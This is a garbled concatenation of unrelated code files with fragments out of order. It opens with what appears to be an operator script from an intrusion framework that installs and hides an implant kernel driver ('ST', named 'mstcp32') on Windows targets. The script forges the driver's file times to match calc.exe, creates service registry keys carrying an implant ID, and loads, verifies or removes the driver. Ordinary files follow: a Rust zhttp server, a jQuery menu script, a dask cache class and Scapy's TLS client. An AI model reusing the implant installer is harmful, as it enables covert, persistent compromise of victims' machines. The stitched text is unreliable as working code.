dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 matchfiletimesres = matchfiletimescmd.execute() if matchfiletimescmd.success: dsz.ui.Echo('Successfully matchfiletimes ST against calc.exe.', dsz.GOOD) else: dsz.ui.Echo('Failed to matchfiletimes ST against calc.exe!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername)))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='ErrorControl', type='REG_DWORD', data='0'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Start', type='REG_DWORD', data='2'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Type', type='REG_DWORD', data='1'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Options', type='REG_BINARY', data='"0a 00 00 00 40 01 00 00 06 00 00 00 21 00 00 00 04 00 00 00 00 02 00 00 01 00 00 00 21 00 00 00 00 00 00 00 06 04 00 00 cb 34 00 00 00 07 00 00 00 00 00 00 21 00 00 00 00 00 00 00 06 04 00 00 34 cb 00 00 20 05 0a 00 01 00 00 00 00 06 00 00 01 00 00 00"'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Params', type='REG_DWORD', data=('"0x%08x"' % implantID)))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not verifyinstalled(passed_menu)): dsz.ui.Echo('ST failed to install properly!', dsz.ERROR) return 0 else: dsz.ui.Echo("ST installed properly! Don't forget to load the driver, if necessary.", dsz.GOOD) return 1 def uninstall(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Uninstalling %s==' % drivername), dsz.WARNING) if (not verifyinstalled(passed_menu)): dsz.ui.Echo("ST doesn't seem to be properly installed!", dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if verifyrunning(passed_menu): dsz.ui.Echo('ST running, attempting to unload.') if (not unload(passed_menu)): dsz.ui.Echo('Could not unload ST!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 else: dsz.ui.Echo('Successfully unload ST', dsz.GOOD) deletecmd = ops.cmd.getDszCommand('delete', file=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))) (safe, reason) = deletecmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the delete command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 deleteres = deletecmd.execute() if (not deletecmd.success): dsz.ui.Echo(('Could not delete ST driver (%s)!.' % drivername), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)):
else: dsz.ui.Echo(('Delete of ST driver (%s) successful.' % drivername), dsz.GOOD) regdelcmd = ops.cmd.getDszCommand('registrydelete', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), recursive=True) (safe, reason) = regdelcmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the registrydelete command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 regdelres = regdelcmd.execute() if (not regdelcmd.success): dsz.ui.Echo('Could not delete the ST registry keys!.', dsz.ERROR) else: dsz.ui.Echo('Delete of ST registry keys successful.', dsz.GOOD) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not verifyinstalled(passed_menu)): dsz.ui.Echo('ST successfully uninstalled!', dsz.GOOD) return 1 else: dsz.ui.Echo('ST uninstall failed!', dsz.ERROR) return 0 def load(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Loading %s==' % drivername), dsz.WARNING) drivercmd = ops.cmd.getDszCommand('drivers', load=drivername) (safe, reason) = drivercmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the load command because of a failed safety check: \n%s' % reason), dsz.ERROR) return 0 driverres = drivercmd.execute() if (not drivercmd.success): dsz.ui.Echo(('Driver %s was NOT successfully loaded!' % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('Driver %s was successfully loaded!' % drivername), dsz.GOOD) return 1 verifyrunning(passed_menu) def unload(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Unloading %s==' % drivername), dsz.WARNING) drivercmd = ops.cmd.getDszCommand('drivers', unload=drivername) (safe, reason) = drivercmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the unload command because of a failed safety check: \n%s' % reason), dsz.ERROR) return 0 driverres = drivercmd.execute() if (not drivercmd.success): dsz.ui.Echo(('Driver %s was NOT successfully unloaded!' % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('Driver %s was successfully unloaded!' % drivername), dsz.GOOD) return 1 verifyrunning(passed_menu) def verifydriver(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Checking to see driver %s exists on disk==' % drivername), dsz.WARNING) permissionscmd = ops.cmd.getDszCommand('permissions', file=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))) (safe, reason) = permissionscmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the permissions command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 permissionsres = permissionscmd.execute() if (not permissionscmd.success): dsz.ui.Echo(("ST driver (%s) doesn't exist!" % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('ST driver (%s) exists.' % drivername), dsz.GOOD) return 1 def verifyinstalled(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] verifydriver(passed_menu) returnvalue = 1 dsz.ui.Echo(('==Checking to see if all reg keys for %s exist==' % drivername), dsz.WARNING) regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername)) regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Driver key doesn't exist", dsz.ERROR) return 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='ErrorControl') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("ErrorControl key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '0')): dsz.ui.Echo('ErrorControl key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Start') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Start key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '2')): dsz.ui.Echo('Start key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Type') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Type key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '1')): dsz.ui.Echo('Type key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Options') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Options key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '0a000000400100000600000021000000040000000002000001000000210000000000000006040000cb340000000700000000000021000000000000000604000034cb000020050a00010000000006000001000000')): dsz.ui.Echo('Options key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Params') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Params key doesn't exist", dsz.ERROR) returnvalue = 0 else: installedImplantID = regres.key[0].value[0].value dsz.ui.Echo(('ST implant ID (Params): %s' % installedImplantID), dsz.GOOD) if returnvalue: dsz.ui.Echo('All ST keys exist with expected values', dsz.GOOD) else: dsz.ui.Echo('Some ST keys were missing or had unexpected values', dsz.ERROR) return returnvalue def verifyrunning(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Checking to see if %s is running==' % drivername), dsz.WARNING) if dsz.windows.driver.VerifyRunning(drivername): dsz.ui.Echo('ST driver running.', dsz.GOOD) return 1 else: dsz.ui.Echo('ST driver NOT running!', dsz.ERROR) return 0 def main(): ops.preload('registryquery') ops.preload('drivers') ops.preload('put') ops.preload('matchfiletimes') ops.preload('registryadd') ops.preload('registrydelete') ops.preload('delete') if (not dsz.version.checks.windows.Is2000OrGreater()): dsz.ui.Echo('Target is pre Windows 2000! Cannot install, educate yourself', dsz.ERROR) return 0 if dsz.version.checks.IsOs64Bit(): dsz.ui.Echo('Target is x64! Cannot install, educate yourself', dsz.ERROR) return 0 if dsz.version.checks.windows.IsVistaOrGreater(): dsz.ui.Echo('Target is Vista+! Cannot install, educate yourself', dsz.ERROR) return 0 st_menu = ops.menu.Menu() implantid = getimplantID() drivername = 'mstcp32' st_menu.set_heading(('ST %s installation menu' % stVersion)) st_menu.add_str_option(option='Driver Name', section='Configuration', state=drivername) st_menu.add_hex_option(option='Implant ID', section='Configuration', state=implantid) st_menu.add_option(option='Install Driver', section='Installation', callback=install, passed_menu=st_menu) st_menu.add_option(option='Load Driver', section='Installation', callback=load, passed_menu=st_menu) st_menu.add_option(option='Verify Installation', section='Installation', callback=verifyinstalled, passed_menu=st_menu) st_menu.add_option(option='Verify Running', section='Installation', callback=verifyrunning, passed_menu=st_menu) st_menu.add_option(option='Uninstall ST', section='Uninstall', callback=uninstall, passed_menu=st_menu) st_menu.add_option(option='Unload Driver', section='Uninstall', callback=unload, passed_menu=st_menu) st_menu.execute(exiton=[0], default=0) if (__name__ == '__main__'): try: main() except RuntimeError as e: dsz.ui.Echo(('\nCaught RuntimeError: %s' % e), dsz.ERROR)
return 0
app.rs
/* * Copyright (C) 2020 Fanout, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ use crate::server::{Server, MSG_RETAINED_MAX}; use crate::zhttppacket; use crate::zhttpsocket; use log::info; use signal_hook; use signal_hook::iterator::Signals; use std::cmp; use std::net::SocketAddr; use std::sync::Arc; use std::time::Duration; fn make_specs(base: &str) -> Result<(String, String, String), String> { if base.starts_with("ipc:") { Ok(( format!("{}-{}", base, "out"), format!("{}-{}", base, "out-stream"), format!("{}-{}", base, "in"), )) } else if base.starts_with("tcp:") { match base.rfind(':') { Some(pos) => match base[(pos + 1)..base.len()].parse::<u16>() { Ok(port) => Ok(( format!("{}:{}", &base[..pos], port), format!("{}:{}", &base[..pos], port + 1), format!("{}:{}", &base[..pos], port + 2), )), Err(e) => Err(format!("error parsing tcp port in base spec: {}", e)), }, None => Err("tcp base spec must specify port".into()), } } else { Err("base spec must be ipc or tcp".into()) } } pub struct Config { pub instance_id: String, pub workers: usize, pub req_maxconn: usize, pub stream_maxconn: usize, pub buffer_size: usize, pub body_buffer_size: usize, pub messages_max: usize, pub req_timeout: Duration, pub stream_timeout: Duration, pub listen: Vec<(SocketAddr, bool)>, // bool=stream pub zclient_req: Vec<String>, pub zclient_stream: Vec<String>, pub zclient_connect: bool, pub ipc_file_mode: usize, } pub struct App { _server: Server, } impl App { pub fn new(config: &Config) -> Result<Self, String> { // usage to avoid dead code warnings elsewhere zhttppacket::Request::new_error(b"", &[], "bogus"); zhttppacket::Request::new_handoff_start(b"", &[]); let zmq_context = Arc::new(zmq::Context::new()); // set hwm to 5% of maxconn let hwm = cmp::max((config.req_maxconn + config.stream_maxconn) / 20, 1); let mut zsockman = zhttpsocket::SocketManager::new( Arc::clone(&zmq_context), &config.instance_id, MSG_RETAINED_MAX * config.workers, hwm, cmp::max(hwm / config.workers, 1), ); let mut any_req = false; let mut any_stream = false; for (_, stream) in config.listen.iter() { if *stream { any_stream = true; } else { any_req = true; } } if any_req { let mut specs = Vec::new(); for spec in config.zclient_req.iter() { if config.zclient_connect { info!("zhttp client connect {}", spec); } else { info!("zhttp client bind {}", spec); } specs.push(zhttpsocket::SpecInfo { spec: spec.clone(), bind: !config.zclient_connect, ipc_file_mode: config.ipc_file_mode, }); } if let Err(e) = zsockman.set_client_req_specs(&specs) { return Err(format!("failed to set zhttp client req specs: {}", e)); } } if any_stream { let mut out_specs = Vec::new(); let mut out_stream_specs = Vec::new(); let mut in_specs = Vec::new(); for spec in config.zclient_stream.iter() { let (out_spec, out_stream_spec, in_spec) = make_specs(spec)?; if config.zclient_connect { info!( "zhttp client connect {} {} {}", out_spec, out_stream_spec, in_spec ); } else
out_specs.push(zhttpsocket::SpecInfo { spec: out_spec, bind: !config.zclient_connect, ipc_file_mode: config.ipc_file_mode, }); out_stream_specs.push(zhttpsocket::SpecInfo { spec: out_stream_spec, bind: !config.zclient_connect, ipc_file_mode: config.ipc_file_mode, }); in_specs.push(zhttpsocket::SpecInfo { spec: in_spec, bind: !config.zclient_connect, ipc_file_mode: config.ipc_file_mode, }); } if let Err(e) = zsockman.set_client_stream_specs(&out_specs, &out_stream_specs, &in_specs) { return Err(format!("failed to set zhttp client stream specs: {}", e)); } } let server = Server::new( &config.instance_id, config.workers, config.req_maxconn, config.stream_maxconn, config.buffer_size, config.body_buffer_size, config.messages_max, config.req_timeout, config.stream_timeout, &config.listen, zsockman, )?; Ok(Self { _server: server }) } pub fn wait_for_term(&self) { let signal_types = &[signal_hook::SIGTERM, signal_hook::SIGINT]; let signals = Signals::new(signal_types).unwrap(); // remove the signal handlers after the first invocation for s in signal_types.iter() { signal_hook::cleanup::register(*s, signal_types.to_vec()).unwrap(); } // wait for termination for signal in &signals { match signal { signal_hook::SIGTERM | signal_hook::SIGINT => { break; } _ => unreachable!(), } } } }
{ info!( "zhttp client bind {} {} {}", out_spec, out_stream_spec, in_spec ); }
menu.js
$(function () { //获取顶级菜单 function getAmenu() { function amenuCB(data
var tpl = $('#J_tpl_Amenu').html(); var menu = juicer(tpl, data); $('#J_Amenu').html(menu); } requestUrl('/menu/top', 'GET', '', amenuCB) } getAmenu(); //获取二级菜单 var Stpl = $('#J_tpl_Smenu').html(); var compiled_tpl = juicer(Stpl); function getSmenu(id, $src) { var data = {top_menu_id: id}; function smenuCB(data) { var adata = { id: id, dat: data } var html = compiled_tpl.render(adata); $('#J_Smenu').append(html); var forceLayout = $($src.attr('href')).height(); $($src.attr('href')).addClass('in'); } requestUrl('/menu/secondary', 'GET', data, smenuCB) } //绑定二级菜单事件 $('#J_Amenu').on('mouseenter.getSmenu', 'li', function () { var $this = $(this); var id = $(this).data('id'); $(this).children('a').addClass('hover'); if ($('#J_Smenu ul[data-id="' + id + '"]').length > 0) return; show_timer = setTimeout(function() { getSmenu(id, $this); }, 300) }).on('mouseleave.getSmenu', 'li', function() { clearTimeout(show_timer) }) $('#J_Smenu').on('click', 'li a', function() { $('.J_iframe_name').html($(this).html()); hideSideMenu(); }) var aside_menu_timer; function hideSideMenu(){ $('#aside-menu .child-list').removeClass('in'); $('#aside-menu .collapsed a').removeClass('hover'); } $('body') // 取消默认行为 .on('click.left_menu_click', '[data-parent="#aside-menu"]', function(e){ e.preventDefault(); e.stopImmediatePropagation(); }) // 鼠标enter显示 .on('mouseenter.left_menu_click', '[data-parent="#aside-menu"]', function (e) { clearTimeout(aside_menu_timer); hideSideMenu(); $($(this).attr('href')).addClass('in'); $(this).children('a').addClass('hover'); }) // 鼠标leave隐藏 .on('mouseleave.left_menu_click', '[data-parent="#aside-menu"]', function (e) { var _this = this; aside_menu_timer = setTimeout(function(){ $('#aside-menu .child-list').removeClass('in'); $('#aside-menu .collapsed a').removeClass('hover'); }, 400) }) .on('mouseenter.left_menu_click', '#aside-menu .child-list', function (e) { clearTimeout(aside_menu_timer); }) .on('mouseleave.left_menu_click', '#aside-menu .child-list', function (e) { hideSideMenu(); }); })
) {
cache.py
from .callbacks import Callback from timeit import default_timer from numbers import Number import sys overhead = sys.getsizeof(1.23) * 4 + sys.getsizeof(()) * 4 class Cache(Callback): """Use cache for computation Examples -------- >>> cache = Cache(1e9) # doctest: +SKIP The cache can be used locally as a context manager around ``compute`` or ``get`` calls: >>> with cache: # doctest: +SKIP ... result = x.compute() You can also register a cache globally, so that it works for all computations: >>> cache.register() # doctest: +SKIP >>> cache.unregister() # doctest: +SKIP """ def
(self, cache, *args, **kwargs): try: import cachey except ImportError as ex: raise ImportError( 'Cache requires cachey, "{ex}" problem ' "importing".format(ex=str(ex)) ) from ex self._nbytes = cachey.nbytes if isinstance(cache, Number): cache = cachey.Cache(cache, *args, **kwargs) else: assert not args and not kwargs self.cache = cache self.starttimes = dict() def _start(self, dsk): self.durations = dict() overlap = set(dsk) & set(self.cache.data) for key in overlap: dsk[key] = self.cache.data[key] def _pretask(self, key, dsk, state): self.starttimes[key] = default_timer() def _posttask(self, key, value, dsk, state, id): duration = default_timer() - self.starttimes[key] deps = state["dependencies"][key] if deps: duration += max(self.durations.get(k, 0) for k in deps) self.durations[key] = duration nb = self._nbytes(value) + overhead + sys.getsizeof(key) * 4 self.cache.put(key, value, cost=duration / nb / 1e9, nbytes=nb) def _finish(self, dsk, state, errored): self.starttimes.clear() self.durations.clear()
__init__
automaton_cli.py
# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ TLS client automaton. This makes for a primitive TLS stack. Obviously you need rights for network access. We support versions SSLv2 to TLS 1.2, along with many features. There is no session resumption mechanism for now. In order to run a client to tcp/50000 with one cipher suite of your choice: > from scapy.all import * > ch = TLSClientHello(ciphers=<int code of the cipher suite>) > t = TLSClientAutomaton(dport=50000, client_hello=ch) > t.run() """ from __future__ import print_function import socket from scapy.pton_ntop import inet_pton from scapy.utils import randstring, repr_hex from scapy.automaton import ATMT from scapy.layers.tls.automaton import _TLSAutomaton from scapy.layers.tls.basefields import _tls_version, _tls_version_options from scapy.layers.tls.session import tlsSession from scapy.layers.tls.extensions import TLS_Ext_SupportedGroups, \ TLS_Ext_SupportedVersions, TLS_Ext_SignatureAlgorithms from scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \ TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, \ TLSEncryptedExtensions, TLSFinished, TLSServerHello, TLSServerHelloDone, \ TLSServerKeyExchange, TLS13Certificate, TLS13ServerHello from scapy.layers.tls.handshake_sslv2 import SSLv2ClientHello, \ SSLv2ServerHello, SSLv2ClientMasterKey, SSLv2ServerVerify, \ SSLv2ClientFinished, SSLv2ServerFinished, SSLv2ClientCertificate, \ SSLv2RequestCertificate from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_CH, \ KeyShareEntry from scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \ TLSApplicationData from scapy.modules import six from scapy.packet import Raw from scapy.compat import raw class TLSClientAutomaton(_TLSAutomaton): """ A simple TLS test client automaton. Try to overload some states or conditions and see what happens on the other side. Rather than with an interruption, the best way to stop this client is by typing 'quit'. This won't be a message sent to the server. _'mycert' and 'mykey' may be provided as filenames. They will be used in the handshake, should the server ask for client authentication. _'server_name' does not need to be set. _'client_hello' may hold a TLSClientHello or SSLv2ClientHello to be sent to the server. This is particularly useful for extensions tweaking. _'version' is a quicker way to advertise a protocol version ("sslv2", "tls1", "tls12", etc.) It may be overridden by the previous 'client_hello'. _'data' is a list of raw data to be sent to the server once the handshake has been completed. Both 'stop_server' and 'quit' will work this way. """ def parse_args(self, server="127.0.0.1", dport=4433, server_name=None, mycert=None, mykey=None, client_hello=None, version=None, data=None, **kargs): super(TLSClientAutomaton, self).parse_args(mycert=mycert, mykey=mykey, **kargs) tmp = socket.getaddrinfo(server, dport) self.remote_name = None try: if ':' in server: inet_pton(socket.AF_INET6, server) else: inet_pton(socket.AF_INET, server) except Exception: self.remote_name = socket.getfqdn(server) if self.remote_name != server: tmp = socket.getaddrinfo(self.remote_name, dport) if server_name: self.remote_name = server_name self.remote_family = tmp[0][0] self.remote_ip = tmp[0][4][0] self.remote_port = dport self.local_ip = None self.local_port = None self.socket = None self.client_hello = client_hello self.advertised_tls_version = None if version: v = _tls_version_options.get(version, None) if not v: self.vprint("Unrecognized TLS version option.") else: self.advertised_tls_version = v self.linebreak = False if isinstance(data, bytes): self.data_to_send = [data] elif isinstance(data, six.string_types): self.data_to_send = [raw(data)] elif isinstance(data, list): self.data_to_send = list(raw(d) for d in reversed(data)) else: self.data_to_send = [] def vprint_sessioninfo(self): if self.verbose: s = self.cur_session v = _tls_version[s.tls_version] self.vprint("Version : %s" % v) cs = s.wcs.ciphersuite.name self.vprint("Cipher suite : %s" % cs) if s.tls_version >= 0x0304: ms = s.tls13_master_secret else: ms = s.master_secret self.vprint("Master secret : %s" % repr_hex(ms)) if s.server_certs: self.vprint("Server certificate chain: %r" % s.server_certs) self.vprint() @ATMT.state(initial=True) def INITIAL(self): self.vprint("Starting TLS client automaton.") raise self.INIT_TLS_SESSION() @ATMT.state() def INIT_TLS_SESSION(self): self.cur_session = tlsSession(connection_end="client") self.cur_session.client_certs = self.mycert self.cur_session.client_key = self.mykey v = self.advertised_tls_version if v: self.cur_session.advertised_tls_version = v else: default_version = self.cur_session.advertised_tls_version self.advertised_tls_version = default_version raise self.CONNECT() @ATMT.state() def CONNECT(self): s = socket.socket(self.remote_family, socket.SOCK_STREAM) self.vprint() self.vprint("Trying to connect on %s:%d" % (self.remote_ip, self.remote_port)) s.connect((self.remote_ip, self.remote_port)) self.socket = s self.local_ip, self.local_port = self.socket.getsockname()[:2] self.vprint() if self.cur_session.advertised_tls_version in [0x0200, 0x0002]: raise self.SSLv2_PREPARE_CLIENTHELLO() elif self.cur_session.advertised_tls_version >= 0x0304: raise self.TLS13_START() else: raise self.PREPARE_CLIENTFLIGHT1() # TLS handshake # @ATMT.state() def PREPARE_CLIENTFLIGHT1(self): self.add_record() @ATMT.condition(PREPARE_CLIENTFLIGHT1) def should_add_ClientHello(self): self.add_msg(self.client_hello or TLSClientHello()) raise self.ADDED_CLIENTHELLO() @ATMT.state() def ADDED_CLIENTHELLO(self): pass @ATMT.condition(ADDED_CLIENTHELLO) def should_send_ClientFlight1(self): self.flush_records() raise self.SENT_CLIENTFLIGHT1() @ATMT.state() def SENT_CLIENTFLIGHT1(self): raise self.WAITING_SERVERFLIGHT1() @ATMT.state() def WAITING_SERVERFLIGHT1(self): self.get_next_msg() raise self.RECEIVED_SERVERFLIGHT1() @ATMT.state() def RECEIVED_SERVERFLIGHT1(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=1) def should_handle_ServerHello(self): """ XXX We should check the ServerHello attributes for discrepancies with our own ClientHello. """ self.raise_on_packet(TLSServerHello, self.HANDLED_SERVERHELLO) @ATMT.state() def HANDLED_SERVERHELLO(self): pass @ATMT.condition(RECEIVED_SERVERFLIGHT1, prio=2) def missing_ServerHello(self): raise self.MISSING_SERVERHELLO() @ATMT.state() def MISSING_SERVERHELLO(self): self.vprint("Missing TLS ServerHello message!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_SERVERHELLO, prio=1) def should_handle_ServerCertificate(self): if not self.cur_session.prcs.key_exchange.anonymous: self.raise_on_packet(TLSCertificate, self.HANDLED_SERVERCERTIFICATE) raise self.HANDLED_SERVERCERTIFICATE() @ATMT.state() def HANDLED_SERVERCERTIFICATE(self): pass @ATMT.condition(HANDLED_SERVERHELLO, prio=2) def missing_ServerCertificate(self): raise self.MISSING_SERVERCERTIFICATE() @ATMT.state() def MISSING_SERVERCERTIFICATE(self): self.vprint("Missing TLS Certificate message!") raise self.CLOSE_NOTIFY() @ATMT.state() def HANDLED_CERTIFICATEREQUEST(self): self.vprint("Server asked for a certificate...") if not self.mykey or not self.mycert: self.vprint("No client certificate to send!") self.vprint("Will try and send an empty Certificate message...") @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=1) def should_handle_ServerKeyExchange_from_ServerCertificate(self): """ XXX We should check the ServerKeyExchange attributes for discrepancies with our own ClientHello, along with the ServerHello and Certificate. """ self.raise_on_packet(TLSServerKeyExchange, self.HANDLED_SERVERKEYEXCHANGE) @ATMT.state(final=True) def MISSING_SERVERKEYEXCHANGE(self): pass @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=2) def missing_ServerKeyExchange(self): if not self.cur_session.prcs.key_exchange.no_ske: raise self.MISSING_SERVERKEYEXCHANGE() @ATMT.state() def HANDLED_SERVERKEYEXCHANGE(self): pass def should_handle_CertificateRequest(self): """ XXX We should check the CertificateRequest attributes for discrepancies with the cipher suite, etc. """ self.raise_on_packet(TLSCertificateRequest, self.HANDLED_CERTIFICATEREQUEST) @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=2) def should_handle_CertificateRequest_from_ServerKeyExchange(self): self.should_handle_CertificateRequest() @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=3) def should_handle_CertificateRequest_from_ServerCertificate(self): self.should_handle_CertificateRequest() def should_handle_ServerHelloDone(self): self.raise_on_packet(TLSServerHelloDone, self.HANDLED_SERVERHELLODONE) @ATMT.condition(HANDLED_SERVERKEYEXCHANGE, prio=1) def should_handle_ServerHelloDone_from_ServerKeyExchange(self): return self.should_handle_ServerHelloDone() @ATMT.condition(HANDLED_CERTIFICATEREQUEST, prio=4) def should_handle_ServerHelloDone_from_CertificateRequest(self): return self.should_handle_ServerHelloDone() @ATMT.condition(HANDLED_SERVERCERTIFICATE, prio=4) def should_handle_ServerHelloDone_from_ServerCertificate(self): return self.should_handle_ServerHelloDone() @ATMT.state() def HANDLED_SERVERHELLODONE(self): raise self.PREPARE_CLIENTFLIGHT2() @ATMT.state() def PREPARE_CLIENTFLIGHT2(self): self.add_record() @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=1) def should_add_ClientCertificate(self): """ If the server sent a CertificateRequest, we send a Certificate message. If no certificate is available, an empty Certificate message is sent: - this is a SHOULD in RFC 4346 (Section 7.4.6) - this is a MUST in RFC 5246 (Section 7.4.6) XXX We may want to add a complete chain. """ hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if TLSCertificateRequest not in hs_msg: return certs = [] if self.mycert: certs = [self.mycert] self.add_msg(TLSCertificate(certs=certs)) raise self.ADDED_CLIENTCERTIFICATE() @ATMT.state() def ADDED_CLIENTCERTIFICATE(self): pass def should_add_ClientKeyExchange(self): self.add_msg(TLSClientKeyExchange()) raise self.ADDED_CLIENTKEYEXCHANGE() @ATMT.condition(PREPARE_CLIENTFLIGHT2, prio=2) def should_add_ClientKeyExchange_from_ClientFlight2(self): return self.should_add_ClientKeyExchange() @ATMT.condition(ADDED_CLIENTCERTIFICATE) def should_add_ClientKeyExchange_from_ClientCertificate(self): return self.should_add_ClientKeyExchange() @ATMT.state() def ADDED_CLIENTKEYEXCHANGE(self): pass @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=1) def should_add_ClientVerify(self): """ XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify message is only sent following a client certificate that has signing capability (i.e. not those containing fixed DH params). We should verify that before adding the message. We should also handle the case when the Certificate message was empty. """ hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if (TLSCertificateRequest not in hs_msg or self.mycert is None or self.mykey is None): return self.add_msg(TLSCertificateVerify()) raise self.ADDED_CERTIFICATEVERIFY() @ATMT.state() def ADDED_CERTIFICATEVERIFY(self): pass @ATMT.condition(ADDED_CERTIFICATEVERIFY) def should_add_ChangeCipherSpec_from_CertificateVerify(self): self.add_record() self.add_msg(TLSChangeCipherSpec()) raise self.ADDED_CHANGECIPHERSPEC() @ATMT.condition(ADDED_CLIENTKEYEXCHANGE, prio=2) def should_add_ChangeCipherSpec_from_ClientKeyExchange(self): self.add_record() self.add_msg(TLSChangeCipherSpec()) raise self.ADDED_CHANGECIPHERSPEC() @ATMT.state() def ADDED_CHANGECIPHERSPEC(self): pass @ATMT.condition(ADDED_CHANGECIPHERSPEC) def should_add_ClientFinished(self): self.add_record() self.add_msg(TLSFinished()) raise self.ADDED_CLIENTFINISHED() @ATMT.state() def ADDED_CLIENTFINISHED(self): 